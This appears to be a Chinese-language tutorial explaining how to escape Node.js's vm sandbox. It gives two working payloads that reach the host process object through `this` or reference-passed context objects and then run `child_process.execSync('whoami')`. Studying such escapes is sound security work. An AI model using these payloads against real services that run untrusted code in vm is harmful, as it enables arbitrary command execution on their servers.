沙箱绕过核心原理
只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
沙箱源码如下:
const vm = require('vm'); //引入vm模块
const script = `m + n + x`; //要执行的代码
const sandbox = { m: 1, n: 2 , x: 3 }; //传递的参数
const context = new vm.createContext(sandbox); //创建沙箱环境
const res = vm.runInContext(script, context); //执行沙箱
console.log(res)
这个沙箱环境有两种绕过方法,但在此之前我们来了解一点前置知识
- JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法,可以定义在构造函数内部。JavaScript 规定,每个函数都有一个原型对象(prototype)属性,指向一个对象,所有对象都有自己的原型对象(prototype)。由于原型对象也是对象,所以它也有自己的原型。原型对象的所有属性和方法,都能被实例对象共享。
prototype
对象有一个constructor
属性,默认指向prototype
对象所在的构造函数。
this
总是表示属性或方法“当前”所在的对象。如果对象的方法里面包含this
,this
的指向就是方法运行时所在的对象。
一、通过this绕过
第一种是通过this
指向传给vm.createContext
的那个对象,即sandbox,由于sandbox是在沙箱外创建的,所以this实际上指向的是window
。
因此,我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。比如定义script如下:
const vm = require('vm');
const script = `const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()`;
const sandbox = { m: 1, n: 2 , x: 3 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
this.toString
获取到一个函数对象,this.toString.constructor
获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。进而可以使用execSync
函数来执行任意命令。
为什么不直接使用{}.toString.constructor('return process')()
,却要使用this
呢?
因为{}
是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。
那么另一个问题,m
和n
也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()
呢?
这个原因就是因为数字、字符串、布尔等这些都是原始类型(primitive types),他们的传递其实传递的是值而不是引用,所以在沙盒内使用的m和外部那个m已经不是同一个m了,因此也是无法利用的。
但也引出了第二种方式,引用传递绕过。
二、通过引用传递绕过
如果修改{m: [], n: {}, x: /regexp/}
,并将原先this的位置替换。这样m、n、x就都可以利用了。因为数组、对象、正则,都是引用传递,能将外部环境引入进沙箱。
const vm = require('vm');
const script = `const process = x.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()`;
const sandbox = { m: [], n: {}, x: /regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
总结
这两个方法都是在沙箱内部引入了外部的环境,然后利用原型对象的constructor
属性指向Function
构造函数,来返回process
对象,进而使用子进程(child_process
)模块来执行任意命令。